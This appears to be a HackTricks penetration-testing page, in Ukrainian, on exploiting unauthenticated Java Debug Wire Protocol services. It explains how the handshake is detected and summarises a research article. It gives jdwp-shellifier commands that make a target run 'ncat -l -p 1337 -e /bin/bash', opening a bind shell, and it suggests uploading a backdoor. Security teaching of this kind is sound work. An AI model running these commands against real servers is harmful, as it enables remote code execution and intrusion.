hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md
2024-03-29 19:49:46 +01:00

86 lines
9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Тестування на проникнення JDWP - Протокол відлагодження Java
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
</details>
## Експлуатація
Експлуатація JDWP ґрунтується на **відсутності аутентифікації та шифрування в протоколі**. Зазвичай він знаходиться на **порту 8000**, але можливі інші порти. Початкове підключення відбувається шляхом відправлення "JDWP-Handshake" на цільовий порт. Якщо служба JDWP активна, вона відповідає тим самим рядком, підтверджуючи свою присутність. Цей рукостиск діє як метод відбору для ідентифікації служб JDWP в мережі.
Щодо ідентифікації процесу, пошук рядка "jdwk" в процесах Java може вказувати на активну сесію JDWP.
Основним інструментом є [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Ви можете використовувати його з різними параметрами:
```bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
Я виявив, що використання `--break-on 'java.lang.String.indexOf'` робить експлойт більш **стабільним**. І якщо у вас є можливість завантажити backdoor на хост і виконати його замість виконання команди, експлойт буде ще стабільнішим.
## Детальніше
**Це краткий огляд [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Перевірте його для отримання додаткових відомостей.
1. **Огляд JDWP**:
- Це мережевий бінарний протокол на основі пакетів, в основному синхронний.
- Відсутність аутентифікації та шифрування робить його вразливим при взаємодії з ворожими мережами.
2. **Рукостискання JDWP**:
- Для ініціювання комунікації використовується простий процес рукостискання. Між відлагоджувачем (клієнтом) та відлагоджуваним (сервером) обмінюється 14-символьний ASCII-рядок "JDWP-Handshake".
3. **Комунікація JDWP**:
- Повідомлення мають просту структуру з полями, такими як Довжина, Ідентифікатор, Прапор та НабірКоманд.
- Значення НаборуКоманд коливаються від 0x40 до 0x80, що представляють різні дії та події.
4. **Експлуатація**:
- JDWP дозволяє завантажувати та викликати довільні класи та байткод, що створює ризики безпеки.
- Стаття деталізує процес експлуатації у п'яти кроках, що включає отримання посилань на Java Runtime, встановлення точок зупинки та виклик методів.
5. **Експлуатація в реальному житті**:
- Незважаючи на потенційні захисні заходи брандмауеру, служби JDWP виявляються та експлуатуються в реальних сценаріях, як показано пошуками на платформах, таких як ShodanHQ та GitHub.
- Скрипт експлойту був протестований на різних версіях JDK та є платформонезалежним, пропонуючи надійне виконання коду на віддаленому сервері (RCE).
6. **Наслідки для безпеки**:
- Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, вимкнення функцій відлагодження в продакшені та належної конфігурації брандмауера.
### **Посилання:**
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
* http://www.secdev.org/projects/scapy(no longer active)
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
</details>